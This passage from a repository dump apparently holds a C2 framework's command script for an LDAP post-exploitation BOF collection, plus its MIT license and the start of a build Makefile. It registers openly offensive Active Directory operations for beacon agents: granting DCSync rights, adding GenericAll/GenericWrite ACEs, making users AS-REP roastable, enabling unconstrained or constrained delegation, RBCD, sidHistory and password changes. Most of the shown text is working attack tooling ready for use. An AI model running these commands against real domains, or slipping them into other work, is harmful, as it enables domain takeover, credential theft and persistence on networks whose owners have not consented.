${bof_params}`, `Removing UAC flags from ${target}...`);\n});\n\n\n\nvar _cmd_removeace = ax.create_command(\n    \"remove-ace\",\n    \"Remove an ACE from an object's DACL\",\n    \"ldap remove-ace cn=SomeObject,OU=Data,DC=domain,DC=local -trustee jane.doe -dc dc01.domain.local\"\n);\n_cmd_removeace.addArgString(\"target\", true, \"Target object name or DN\");\n_cmd_removeace.addArgFlagString(\"-trustee\", \"trustee\", false, \"Trustee name or DN to match (use instead of index)\");\n_cmd_removeace.addArgFlagString(\"-rights\", \"rights\", false, \"Access rights to match (optional, e.g., GenericAll, DCSync)\");\n_cmd_removeace.addArgFlagString(\"-type\",\"ace_type\", false, \"ACE type to match (optional: allow, deny)\");\n_cmd_removeace.addArgFlagInt(\"-index\",\"ace_index\", false, \"ACE index to remove (use get-acl to find index)\");\n_cmd_removeace.addArgFlagString(\"-ou\", \"ou_path\", false, \"OU path to search\");\n_cmd_removeace.addArgFlagString(\"-dc\", \"dc_fqdn\", false, \"Domain Controller FQDN\");\n_cmd_removeace.addArgBool(\"--ldaps\", \"Use LDAPS (port 636)\");\n_cmd_removeace.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines){\n\n    let target = parsed_json[\"target\"];\n    let is_dn = identifyInputType(target);\n    let trustee = parsed_json[\"trustee\"] || \"\";\n    let is_trustee_dn = identifyInputType(trustee);\n    let rights = parsed_json[\"rights\"] || \"\";\n    let ace_type = parsed_json[\"ace_type\"] || \"\";\n    let ace_index = parsed_json[\"ace_index\"] || -1;\n    let ou_path = parsed_json[\"ou_path\"] || \"\";\n    let dc_fqdn = parsed_json[\"dc_fqdn\"] || \"\";\n    let use_ldaps = parsed_json[\"--ldaps\"] ? 1 : 0;\n\n    let bof_params = ax.bof_pack(\"cstr,int,cstr,int,cstr,cstr,int,cstr,cstr,int\",\n        [target, is_dn, trustee, is_trustee_dn, rights, ace_type, ace_index, ou_path, dc_fqdn, use_ldaps]);\n    let bof_path = ax.script_dir() + \"_bin/LDAP/remove-ace.\" + ax.arch(id) + \".o\";\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, `Removing ACE from ${target}...`);\n});\n\n\n\nvar _cmd_removerbcd = ax.create_command(\n    \"remove-rbcd\",\n    \"Remove an RBCD delegation\",\n    \"ldap remove-rbcd targetComputer principalAccount -dc dc01.domain.local\"\n);\n_cmd_removerbcd.addArgString(\"target\", true, \"Target object name or DN\");\n_cmd_removerbcd.addArgString(\"delegate\", true, \"Object to remove from delegation\");\n_cmd_removerbcd.addArgFlagString(\"-ou\", \"ou_path\", false, \"OU path to search\");\n_cmd_removerbcd.addArgFlagString(\"-dc\", \"dc_fqdn\", false, \"Domain Controller FQDN\");\n_cmd_removerbcd.addArgBool(\"--ldaps\", \"Use LDAPS (port 636)\");\n_cmd_removerbcd.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines){\n    let target = parsed_json[\"target\"];\n    let is_target_dn = identifyInputType(target);\n    let delegate = parsed_json[\"delegate\"];\n    let is_delegate_dn = identifyInputType(delegate);\n    let ou_path = parsed_json[\"ou_path\"] || \"\";\n    let dc_fqdn = parsed_json[\"dc_fqdn\"] || \"\";\n    let use_ldaps = parsed_json[\"--ldaps\"] ? 1 : 0;\n\n    let bof_params = ax.bof_pack(\"cstr,int,cstr,int,cstr,cstr,int\",\n        [target, is_target_dn, delegate, is_delegate_dn, ou_path, dc_fqdn, use_ldaps]);\n    let bof_path = ax.script_dir() + \"_bin/LDAP/remove-rbcd.\" + ax.arch(id) + \".o\";\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, `Removing RBCD delegation from ${target}...`);\n});\n\n\n\n// ============================================================================\n// MACRO COMMANDS (using existing BOFs with preset parameters)\n// ============================================================================\n\nvar _cmd_addgenericall = ax.create_command(\n    \"add-genericall\",\n    \"Add a GenericAll ACE to an object's DACL\",\n    \"ldap add-genericall cn=SomeObject,OU=Data,DC=domain,DC=local jane.doe -dc dc01.domain.local\"\n);\n_cmd_addgenericall.addArgString(\"target\", true, \"Target object name or DN\");\n_cmd_addgenericall.addArgString(\"trustee\", true, \"Trustee name or DN\");\n_cmd_addgenericall.addArgFlagString(\"-type\", \"ace_type\", false, \"ACE type: allow (default), deny\");\n_cmd_addgenericall.addArgFlagString(\"-flags\", \"flags\", false, \"ACE inheritance flags (e.g., CI,OI)\");\n_cmd_addgenericall.addArgFlagString(\"-guid\", \"guid\", false, \"Object type GUID\");\n_cmd_addgenericall.addArgFlagString(\"-inherit-guid\", \"inherit_guid\", false, \"Inherited object type GUID\");\n_cmd_addgenericall.addArgFlagString(\"-ou\", \"ou_path\", false, \"OU path to search\");\n_cmd_addgenericall.addArgFlagString(\"-dc\", \"dc_fqdn\", false, \"Domain Controller FQDN\");\n_cmd_addgenericall.addArgBool(\"--ldaps\", \"Use LDAPS (port 636)\");\n_cmd_addgenericall.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines){\n    let target = parsed_json[\"target\"];\n    let is_target_dn = identifyInputType(target);\n    let trustee = parsed_json[\"trustee\"];\n    let is_trustee_dn = identifyInputType(trustee);\n    let rights = \"GenericAll\";\n    let ace_type = parsed_json[\"ace_type\"] || \"\";\n    let flags = parsed_json[\"flags\"] || \"\";\n    let guid = parsed_json[\"guid\"] || \"\";\n    let inherit_guid = parsed_json[\"inherit_guid\"] || \"\";\n    let ou_path = parsed_json[\"ou_path\"] || \"\";\n    let dc_fqdn = parsed_json[\"dc_fqdn\"] || \"\";\n    let use_ldaps = parsed_json[\"--ldaps\"] ? 1 : 0;\n\n    let bof_params = ax.bof_pack(\"cstr,int,cstr,int,cstr,cstr,cstr,cstr,cstr,cstr,cstr,int\",\n        [target, is_target_dn, trustee, is_trustee_dn, rights, ace_type, flags, guid, inherit_guid, ou_path, dc_fqdn, use_ldaps]);\n    let bof_path = ax.script_dir() + \"_bin/LDAP/add-ace.\" + ax.arch(id) + \".o\";\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, `Adding ACE to ${target}...`);\n});\n\n\n\nvar _cmd_addgenericwrite = ax.create_command(\n    \"add-genericwrite\",\n    \"Add a GenericWrite ACE to an object's DACL\",\n    \"ldap add-genericwrite cn=SomeObject,OU=Data,DC=domain,DC=local jane.doe -dc dc01.domain.local\"\n);\n_cmd_addgenericwrite.addArgString(\"target\", true, \"Target object name or DN\");\n_cmd_addgenericwrite.addArgString(\"trustee\", true, \"Trustee name or DN\");\n_cmd_addgenericwrite.addArgFlagString(\"-type\", \"ace_type\", false, \"ACE type: allow (default), deny\");\n_cmd_addgenericwrite.addArgFlagString(\"-flags\", \"flags\", false, \"ACE inheritance flags (e.g., CI,OI)\");\n_cmd_addgenericwrite.addArgFlagString(\"-guid\", \"guid\", false, \"Object type GUID\");\n_cmd_addgenericwrite.addArgFlagString(\"-inherit-guid\", \"inherit_guid\", false, \"Inherited object type GUID\");\n_cmd_addgenericwrite.addArgFlagString(\"-ou\", \"ou_path\", false, \"OU path to search\");\n_cmd_addgenericwrite.addArgFlagString(\"-dc\", \"dc_fqdn\", false, \"Domain Controller FQDN\");\n_cmd_addgenericwrite.addArgBool(\"--ldaps\", \"Use LDAPS (port 636)\");\n_cmd_addgenericwrite.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines){\n    let target = parsed_json[\"target\"];\n    let is_target_dn = identifyInputType(target);\n    let trustee = parsed_json[\"trustee\"];\n    let is_trustee_dn = identifyInputType(trustee);\n    let rights = \"GenericWrite\";\n    let ace_type = parsed_json[\"ace_type\"] || \"\";\n    let flags = parsed_json[\"flags\"] || \"\";\n    let guid = parsed_json[\"guid\"] || \"\";\n    let inherit_guid = parsed_json[\"inherit_guid\"] || \"\";\n    let ou_path = parsed_json[\"ou_path\"] || \"\";\n    let dc_fqdn = parsed_json[\"dc_fqdn\"] || \"\";\n    let use_ldaps = parsed_json[\"--ldaps\"] ? 1 : 0;\n\n    let bof_params = ax.bof_pack(\"cstr,int,cstr,int,cstr,cstr,cstr,cstr,cstr,cstr,cstr,int\",\n        [target, is_target_dn, trustee, is_trustee_dn, rights, ace_type, flags, guid, inherit_guid, ou_path, dc_fqdn, use_ldaps]);\n    let bof_path = ax.script_dir() + \"_bin/LDAP/add-ace.\" + ax.arch(id) + \".o\";\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, `Adding ACE to ${target}...`);\n});\n\n\n\nvar _cmd_adddcsync = ax.create_command(\n    \"add-dcsync\",\n    \"Add DCSync ACEs to an object's DACL\",\n    \"ldap add-dcsync DC=domain,DC=local jane.doe -dc dc01.domain.local\"\n);\n_cmd_adddcsync.addArgString(\"target\", true, \"Target object name or DN\");\n_cmd_adddcsync.addArgString(\"trustee\", true, \"Trustee name or DN\");\n_cmd_adddcsync.addArgFlagString(\"-type\", \"ace_type\", false, \"ACE type: allow (default), deny\");\n_cmd_adddcsync.addArgFlagString(\"-flags\", \"flags\", false, \"ACE inheritance flags (e.g., CI,OI)\");\n_cmd_adddcsync.addArgFlagString(\"-guid\", \"guid\", false, \"Object type GUID\");\n_cmd_adddcsync.addArgFlagString(\"-inherit-guid\", \"inherit_guid\", false, \"Inherited object type GUID\");\n_cmd_adddcsync.addArgFlagString(\"-ou\", \"ou_path\", false, \"OU path to search\");\n_cmd_adddcsync.addArgFlagString(\"-dc\", \"dc_fqdn\", false, \"Domain Controller FQDN\");\n_cmd_adddcsync.addArgBool(\"--ldaps\", \"Use LDAPS (port 636)\");\n_cmd_adddcsync.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines){\n    let target = parsed_json[\"target\"];\n    let is_target_dn = identifyInputType(target);\n    let trustee = parsed_json[\"trustee\"];\n    let is_trustee_dn = identifyInputType(trustee);\n    let rights = \"DCSync\";\n    let ace_type = parsed_json[\"ace_type\"] || \"\";\n    let flags = parsed_json[\"flags\"] || \"\";\n    let guid = parsed_json[\"guid\"] || \"\";\n    let inherit_guid = parsed_json[\"inherit_guid\"] || \"\";\n    let ou_path = parsed_json[\"ou_path\"] || \"\";\n    let dc_fqdn = parsed_json[\"dc_fqdn\"] || \"\";\n    let use_ldaps = parsed_json[\"--ldaps\"] ? 1 : 0;\n\n    let bof_params = ax.bof_pack(\"cstr,int,cstr,int,cstr,cstr,cstr,cstr,cstr,cstr,cstr,int\",\n        [target, is_target_dn, trustee, is_trustee_dn, rights, ace_type, flags, guid, inherit_guid, ou_path, dc_fqdn, use_ldaps]);\n    let bof_path = ax.script_dir() + \"_bin/LDAP/add-ace.\" + ax.arch(id) + \".o\";\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, `Adding ACE to ${target}...`);\n});\n\n\n\nvar _cmd_addasreproastable = ax.create_command(\n    \"add-asreproastable\",\n    \"Make a user AS-REP roastable (set DONT_REQ_PREAUTH)\",\n    \"ldap add-asreproastable jane.doe -dc dc01.domain.local\"\n);\n_cmd_addasreproastable.addArgString(\"target\", true, \"Target user name or DN\");\n_cmd_addasreproastable.addArgFlagString(\"-ou\", \"ou_path\", false, \"OU path to search\");\n_cmd_addasreproastable.addArgFlagString(\"-dc\", \"dc_fqdn\", false, \"Domain Controller FQDN\");\n_cmd_addasreproastable.addArgBool(\"--ldaps\", \"Use LDAPS (port 636)\");\n_cmd_addasreproastable.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines){\n    let target = parsed_json[\"target\"];\n    let is_dn = identifyInputType(target);\n    let ou_path = parsed_json[\"ou_path\"] || \"\";\n    let dc_fqdn = parsed_json[\"dc_fqdn\"] || \"\";\n    let use_ldaps = parsed_json[\"--ldaps\"] ? 1 : 0;\n\n    let bof_params = ax.bof_pack(\"cstr,int,cstr,cstr,cstr,int\", [target, is_dn, \"DONT_REQ_PREAUTH\", ou_path, dc_fqdn, use_ldaps]);\n    let bof_path = ax.script_dir() + \"_bin/LDAP/add-uac.\" + ax.arch(id) + \".o\";\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, `Making ${target} AS-REP roastable...`);\n});\n\n\n\nvar _cmd_addunconstrained = ax.create_command(\n    \"add-unconstrained\",\n    \"Enable unconstrained delegation on an object\",\n    \"ldap add-unconstrained machine01$ -ou \\\"OU=Computers,DC=domain,DC=local\\\" -dc dc01.domain.local\"\n);\n_cmd_addunconstrained.addArgString(\"target\", true, \"Target object name or DN\");\n_cmd_addunconstrained.addArgFlagString(\"-ou\", \"ou_path\", false, \"OU path to search\");\n_cmd_addunconstrained.addArgFlagString(\"-dc\", \"dc_fqdn\", false, \"Domain Controller FQDN\");\n_cmd_addunconstrained.addArgBool(\"--ldaps\", \"Use LDAPS (port 636)\");\n_cmd_addunconstrained.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines){\n    let target = parsed_json[\"target\"];\n    let is_dn = identifyInputType(target);\n    let ou_path = parsed_json[\"ou_path\"] || \"\";\n    let dc_fqdn = parsed_json[\"dc_fqdn\"] || \"\";\n    let use_ldaps = parsed_json[\"--ldaps\"] ? 1 : 0;\n\n    let bof_params = ax.bof_pack(\"cstr,int,cstr,cstr,cstr,int\", [target, is_dn, \"TRUSTED_FOR_DELEGATION\", ou_path, dc_fqdn, use_ldaps]);\n    let bof_path = ax.script_dir() + \"_bin/LDAP/add-uac.\" + ax.arch(id) + \".o\";\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, `Enabling unconstrained delegation on ${target}...`);\n});\n\nvar _cmd_addconstrained = ax.create_command(\n    \"add-constrained\",\n    \"Set/replace delegation SPNs\",\n    \"ldap add-constrained machine01$ RestrictedKrbHost/machine01.domain.local -dc dc01.domain.local\"\n);\n_cmd_addconstrained.addArgString(\"target\", true, \"Object name or DN\");\n_cmd_addconstrained.addArgString(\"spn\", true, \"Delegation SPN (replaces all existing)\");\n_cmd_addconstrained.addArgFlagString(\"-ou\", \"ou_path\", false, \"OU path to search\");\n_cmd_addconstrained.addArgFlagString(\"-dc\", \"dc_fqdn\", false, \"Domain Controller FQDN\");\n_cmd_addconstrained.addArgBool(\"--ldaps\", \"Use LDAPS (port 636)\");\n_cmd_addconstrained.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines){\n    let target = parsed_json[\"target\"];\n    let is_dn = identifyInputType(target);\n    let spn = parsed_json[\"spn\"];\n    let ou_path = parsed_json[\"ou_path\"] || \"\";\n    let dc_fqdn = parsed_json[\"dc_fqdn\"] || \"\";\n    let use_ldaps = parsed_json[\"--ldaps\"] ? 1 : 0;\n\n    let bof_params = ax.bof_pack(\"cstr,int,cstr,cstr,cstr,int\", [target, is_dn, spn, ou_path, dc_fqdn, use_ldaps]);\n    let bof_path = ax.script_dir() + \"_bin/LDAP/add-delegation.\" + ax.arch(id) + \".o\";\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, `Setting delegation on ${target}...`);\n});\n\n\n\nvar _cmd_removedcsync = ax.create_command(\n    \"remove-dcsync\",\n    \"Remove DCSync ACEs from an object's DACL\",\n    \"ldap remove-dcsync DC=domain,DC=local jane.doe -dc dc01.domain.local\"\n);\n_cmd_removedcsync.addArgString(\"target\", true, \"Target object name or DN\");\n_cmd_removedcsync.addArgString(\"trustee\", true, \"Trustee name or DN\");\n_cmd_removedcsync.addArgFlagString(\"-type\",\"ace_type\", false, \"ACE type to match (optional: allow, deny)\");\n_cmd_removedcsync.addArgFlagInt(\"-index\",\"ace_index\", false, \"ACE index to remove (use get-acl to find index)\");\n_cmd_removedcsync.addArgFlagString(\"-ou\", \"ou_path\", false, \"OU path to search\");\n_cmd_removedcsync.addArgFlagString(\"-dc\", \"dc_fqdn\", false, \"Domain Controller FQDN\");\n_cmd_removedcsync.addArgBool(\"--ldaps\", \"Use LDAPS (port 636)\");\n_cmd_removedcsync.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines){\n    let target = parsed_json[\"target\"];\n    let is_dn = identifyInputType(target);\n    let trustee = parsed_json[\"trustee\"];\n    let is_trustee_dn = identifyInputType(trustee);\n    let rights = \"DCSync\";\n    let ace_type = parsed_json[\"ace_type\"] || \"\";\n    let ace_index = parsed_json[\"ace_index\"] || -1;\n    let ou_path = parsed_json[\"ou_path\"] || \"\";\n    let dc_fqdn = parsed_json[\"dc_fqdn\"] || \"\";\n    let use_ldaps = parsed_json[\"--ldaps\"] ? 1 : 0;\n\n    let bof_params = ax.bof_pack(\"cstr,int,cstr,int,cstr,cstr,int,cstr,cstr,int\",\n        [target, is_dn, trustee, is_trustee_dn, rights, ace_type, ace_index, ou_path, dc_fqdn, use_ldaps]);\n    let bof_path = ax.script_dir() + \"_bin/LDAP/remove-ace.\" + ax.arch(id) + \".o\";\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, `Removing DCSync from ${target}...`);\n});\n\n\n\nvar _cmd_removegenericwrite = ax.create_command(\n    \"remove-genericwrite\",\n    \"Remove a GenericWrite ACE from an object's DACL\",\n    \"ldap remove-genericwrite cn=SomeObject,OU=Data,DC=domain,DC=local jane.doe -dc dc01.domain.local\"\n);\n_cmd_removegenericwrite.addArgString(\"target\", true, \"Target object name or DN\");\n_cmd_removegenericwrite.addArgString(\"trustee\", true, \"Trustee name or DN\");\n_cmd_removegenericwrite.addArgFlagString(\"-type\",\"ace_type\", false, \"ACE type to match (optional: allow, deny)\");\n_cmd_removegenericwrite.addArgFlagInt(\"-index\",\"ace_index\", false, \"ACE index to remove (use get-acl to find index)\");\n_cmd_removegenericwrite.addArgFlagString(\"-ou\", \"ou_path\", false, \"OU path to search\");\n_cmd_removegenericwrite.addArgFlagString(\"-dc\", \"dc_fqdn\", false, \"Domain Controller FQDN\");\n_cmd_removegenericwrite.addArgBool(\"--ldaps\", \"Use LDAPS (port 636)\");\n_cmd_removegenericwrite.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines){\n    let target = parsed_json[\"target\"];\n    let is_dn = identifyInputType(target);\n    let trustee = parsed_json[\"trustee\"] || \"\";\n    let is_trustee_dn = identifyInputType(trustee);\n    let rights = \"GenericWrite\";\n    let ace_type = parsed_json[\"ace_type\"] || \"\";\n    let ace_index = parsed_json[\"ace_index\"] || -1;\n    let ou_path = parsed_json[\"ou_path\"] || \"\";\n    let dc_fqdn = parsed_json[\"dc_fqdn\"] || \"\";\n    let use_ldaps = parsed_json[\"--ldaps\"] ? 1 : 0;\n\n    let bof_params = ax.bof_pack(\"cstr,int,cstr,int,cstr,cstr,int,cstr,cstr,int\",\n        [target, is_dn, trustee, is_trustee_dn, rights, ace_type, ace_index, ou_path, dc_fqdn, use_ldaps]);\n    let bof_path = ax.script_dir() + \"_bin/LDAP/remove-ace.\" + ax.arch(id) + \".o\";\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, `Removing GenericWrite from ${target}...`);\n});\n\n\n\nvar _cmd_removegenericall= ax.create_command(\n    \"remove-genericall\",\n    \"Remove a GenericAll ACE from an object's DACL\",\n    \"ldap remove-genericall cn=SomeObject,OU=Data,DC=domain,DC=local jane.doe -dc dc01.domain.local\"\n);\n_cmd_removegenericall.addArgString(\"target\", true, \"Target object name or DN\");\n_cmd_removegenericall.addArgString(\"trustee\", true, \"Trustee name or DN\");\n_cmd_removegenericall.addArgFlagString(\"-type\",\"ace_type\", false, \"ACE type to match (optional: allow, deny)\");\n_cmd_removegenericall.addArgFlagInt(\"-index\",\"ace_index\", false, \"ACE index to remove (use get-acl to find index)\");\n_cmd_removegenericall.addArgFlagString(\"-ou\", \"ou_path\", false, \"OU path to search\");\n_cmd_removegenericall.addArgFlagString(\"-dc\", \"dc_fqdn\", false, \"Domain Controller FQDN\");\n_cmd_removegenericall.addArgBool(\"--ldaps\", \"Use LDAPS (port 636)\");\n_cmd_removegenericall.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines){\n    let target = parsed_json[\"target\"];\n    let is_dn = identifyInputType(target);\n    let trustee = parsed_json[\"trustee\"] || \"\";\n    let is_trustee_dn = identifyInputType(trustee);\n    let rights = \"GenericAll\";\n    let ace_type = parsed_json[\"ace_type\"] || \"\";\n    let ace_index = parsed_json[\"ace_index\"] || -1;\n    let ou_path = parsed_json[\"ou_path\"] || \"\";\n    let dc_fqdn = parsed_json[\"dc_fqdn\"] || \"\";\n    let use_ldaps = parsed_json[\"--ldaps\"] ? 1 : 0;\n\n    let bof_params = ax.bof_pack(\"cstr,int,cstr,int,cstr,cstr,int,cstr,cstr,int\",\n        [target, is_dn, trustee, is_trustee_dn, rights, ace_type, ace_index, ou_path, dc_fqdn, use_ldaps]);\n    let bof_path = ax.script_dir() + \"_bin/LDAP/remove-ace.\" + ax.arch(id) + \".o\";\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, `Removing GenericAll from ${target}...`);\n});\n\n\n\nvar cmd_ldap = ax.create_command(\"ldap\", \"LDAP domain interactions (LDAP-BOF)\");\ncmd_ldap.addSubCommands([ _cmd_getacl, _cmd_getattribute, _cmd_getcomputers, _cmd_getgroups, _cmd_getgroupmembers, _cmd_getdelegation, _cmd_getdomaininfo, _cmd_getmaq,\n                          _cmd_getobject, _cmd_getrbcd, _cmd_getspn, _cmd_getuac,  _cmd_getusers, _cmd_getusergroups, _cmd_getwritable ]);\ncmd_ldap.addSubCommands([_cmd_moveobject]);\ncmd_ldap.addSubCommands([_cmd_addace, _cmd_addattribute, _cmd_addcomputer, _cmd_adddelegation, _cmd_addgroup, _cmd_addgroupmember, _cmd_addou, _cmd_addrbcd,\n                         _cmd_addsidhistory, _cmd_addspn, _cmd_adduser, _cmd_adduac ]);\ncmd_ldap.addSubCommands([_cmd_addgenericall, _cmd_addgenericwrite, _cmd_adddcsync, _cmd_addasreproastable, _cmd_addunconstrained, _cmd_addconstrained, ]);\ncmd_ldap.addSubCommands([_cmd_setattribute, _cmd_setdelegation, _cmd_setowner, _cmd_setspn, _cmd_setpassword, _cmd_setuac ]);\ncmd_ldap.addSubCommands([_cmd_removeace, _cmd_removeattribute, _cmd_removedelegation, _cmd_removedcsync, _cmd_removegenericall, _cmd_removegenericwrite,\n                         _cmd_removegroupmember, _cmd_removeobject, _cmd_removerbcd, _cmd_removespn, _cmd_removeuac, ]);\n\n\nvar group_ldap = ax.create_commands_group(\"LDAP-BOF\", [cmd_ldap]);\nax.register_commands_group(group_ldap, [\"beacon\", \"gopher\", \"kharon\"], [\"windows\"], []);"
  },
  {
    "path": "AD-BOF/LDAP-BOF/LICENSE",
    "content": "MIT License\n\nCopyright (c) 2025 Polar\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n"
  },
  {
    "path": "AD-BOF/LDAP-BOF/Makefile",
    "content": "# LDAP BOF Collection Makefile\nCC = x86_64-w64-mingw32-gcc\nSTRIP = x86_64-w64-mingw32-strip --strip-unneeded\nCFLAGS = -I _include -I src/common -Os -masm=intel -fno-stack-protector -mno-stack-arg-probe -DBOF -c\n\nall: bof\n\nbof: clean\n\t@mkdir -p _bin/LDAP && echo 'creating _bin/LDAP directory'\n\t@$(CC) $(CFLAGS) src/get/get-users.c -o _bin/LDAP/get-users.x64.o && $(STRIP) _bin/LDAP/get-users.x64.o && echo '[+] get-users' || echo '[!] get-users'\n\t@$(CC) $(CFLAGS) src/get/get-computers.c -o _bin/LDAP/get-computers.x64.o && $(STRIP) _bin/LDAP/get-computers.x64.o && echo '[+] get-computers' || echo '[!] get-computers'\n\t@$(CC) $(CFLAGS) src/get/get-groups.c -o _bin/LDAP/get-groups.x64.o && $(STRIP) _bin/LDAP/get-groups.x64.o && echo '[+] get-groups' || echo '[!] get-groups'\n\t@$(CC) $(CFLAGS) src/get/get-usergroups.c -o _bin/LDAP/get-usergroups.x64.o && $(STRIP) _bin/LDAP/get-usergroups.x64.o && echo '[+] get-usergroups' || echo '[!] get-usergroups'\n\t@$(CC) $(CFLAGS) src/get/get-groupmembers.c -o _bin/LDAP/get-groupmembers.x64.o && $(STRIP) _bin/LDAP/get-groupmembers.x64.o && echo '[+] get-groupmembers' || echo '[!] get-groupmembers'\n\t@$(CC) $(CFLAGS) src/get/get-object.c -o _bin/LDAP/get-object.x64.o && $(STRIP) _bin/LDAP/get-object.x64.o && echo '[+] get-object' || echo '[!] get-object'\n\t@$(CC) $(CFLAGS) src/get/get-domaininfo.c -o _bin/LDAP/get-domaininfo.x64.o && $(STRIP) _bin/LDAP/get-domaininfo.x64.o && echo '[+] get-domaininfo' || echo '[!] get-domaininfo'\n\t@$(CC) $(CFLAGS) src/get/get-maq.c -o _bin/LDAP/get-maq.x64.o && $(STRIP) _bin/LDAP/get-maq.x64.o && echo '[+] get-maq' || echo '[!] get-maq'\n\t@$(CC) $(CFLAGS) src/get/get-writable.c -o _bin/LDAP/get-writable.x64.o && $(STRIP) _bin/LDAP/get-writable.x64.o && echo '[+] get-writable' || echo '[!] get-writable'\n\t@$(CC) $(CFLAGS) src/get/get-delegation.c -o _bin/LDAP/get-delegation.x64.o && $(STRIP) _bin/LDAP/get-delegation.x64.o && echo '[+] get-delegation' || echo '[!] get-delegation'\n\t@$(CC) $(CFLAGS) src/get/get-uac.c -o _bin/LDAP/get-uac.x64.o && $(STRIP) _bin/LDAP/get-uac.x64.o && echo '[+] get-uac' || echo '[!] get-uac'\n\t@$(CC) $(CFLAGS) src/get/get-attribute.c -o _bin/LDAP/get-attribute.x64.o && $(STRIP) _bin/LDAP/get-attribute.x64.o && echo '[+] get-attribute' || echo '[!] get-attribute'\n\t@$(CC) $(CFLAGS) src/get/get-spn.c -o _bin/LDAP/get-spn.x64.o && $(STRIP) _bin/LDAP/get-spn.x64.o && echo '[+] get-spn' || echo '[!] get-spn'\n\t@$(CC) $(CFLAGS) src/get/get-acl.c -o _bin/LDAP/get-acl.x64.o && $(STRIP) _bin/LDAP/get-acl.x64.o && echo '[+] get-acl' || echo '[!] get-acl'\n\t@$(CC) $(CFLAGS) src/get/get-rbcd.c -o _bin/LDAP/get-rbcd.x64.o && $(STRIP) _bin/LDAP/get-rbcd.x64.o && echo '[+] get-rbcd' || echo '[!] get-rbcd'\n\t@$(CC) $(CFLAGS) src/add/add-user.c -o _bin/LDAP/add-user.x64.o && $(STRIP) _bin/LDAP/add-user.x64.o && echo '[+] add-user' || echo '[!] add-user'\n\t@$(CC) $(CFLAGS) src/add/add-computer.c -o _bin/LDAP/add-computer.x64.o && $(STRIP) _bin/LDAP/add-computer.x64.o && echo '[+] add-computer' || echo '[!] add-user'\n\t@$(CC) $(CFLAGS) src/add/add-group.c -o _bin/LDAP/add-group.x64.o && $(STRIP) _bin/LDAP/add-group.x64.o && echo '[+] add-group' || echo '[!] add-user'\n\t@$(CC) $(CFLAGS) src/add/add-groupmember.c -o _bin/LDAP/add-groupmember.x64.o && $(STRIP) _bin/LDAP/add-groupmember.x64.o && echo '[+] add-groupmember' || echo '[!] add-groupmember'\n\t@$(CC) $(CFLAGS) src/add/add-ou.c -o _bin/LDAP/add-ou.x64.o && $(STRIP) _bin/LDAP/add-ou.x64.o && echo '[+] add-ou' || echo '[!] add-ou'\n\t@$(CC) $(CFLAGS) src/add/add-sidhistory.c -o _bin/LDAP/add-sidhistory.x64.o && $(STRIP) _bin/LDAP/add-sidhistory.x64.o && echo '[+] add-sidhistory' || echo '[!] add-sidhistory'\n\t@$(CC) $(CFLAGS) src/add/add-spn.c -o _bin/LDAP/add-spn.x64.o && $(STRIP) _bin/LDAP/add-spn.x64.o && echo '[+] add-spn' || echo '[!] add-spn'\n\t@$(CC) $(CFLAGS) src/add/add-attribute.c -o _bin/LDAP/add-attribute.x64.o && $(STRIP) _bin/LDAP/add-attribute.x64.o && echo '[+] add-attribute' || echo '[!] add-attribute'\n\t@$(CC) $(CFLAGS) src/add/add-uac.c -o _bin/LDAP/add-uac.x64.o && $(STRIP) _bin/LDAP/add-uac.x64.o && echo '[+] add-uac' || echo '[!] add-uac'\n\t@$(CC) $(CFLAGS) src/add/add-delegation.c -o _bin/LDAP/add-delegation.x64.o && $(STRIP) _bin/LDAP/add-delegation.x64.o && echo '[+] add-delegation' || echo '[!] add-delegation'\n\t@$(CC) $(CFLAGS) src/add/add-rbcd.c -o _bin/LDAP/add-rbcd.x64.o && $(STRIP) _bin/LDAP/add-rbcd.x64.o && echo '[+] add-rbcd' || echo '[!] add-rbcd'\n\t@$(CC) $(CFLAGS) src/add/add-ace.c -o _bin/LDAP/add-ace.x64.o && $(STRIP) _bin/LDAP/add-ace.x64.o && echo '[+] add-ace' || echo '[!] add-ace'\n\t@$(CC) $(CFLAGS) src/set/set-password.c -o _bin/LDAP/set-password.x64.o && $(STRIP) _bin/LDAP/set-password.x64.o && echo '[+] set-password' || echo '[!] set-password'\n\t@$(CC) $(CFLAGS) src/set/set-spn.c -o 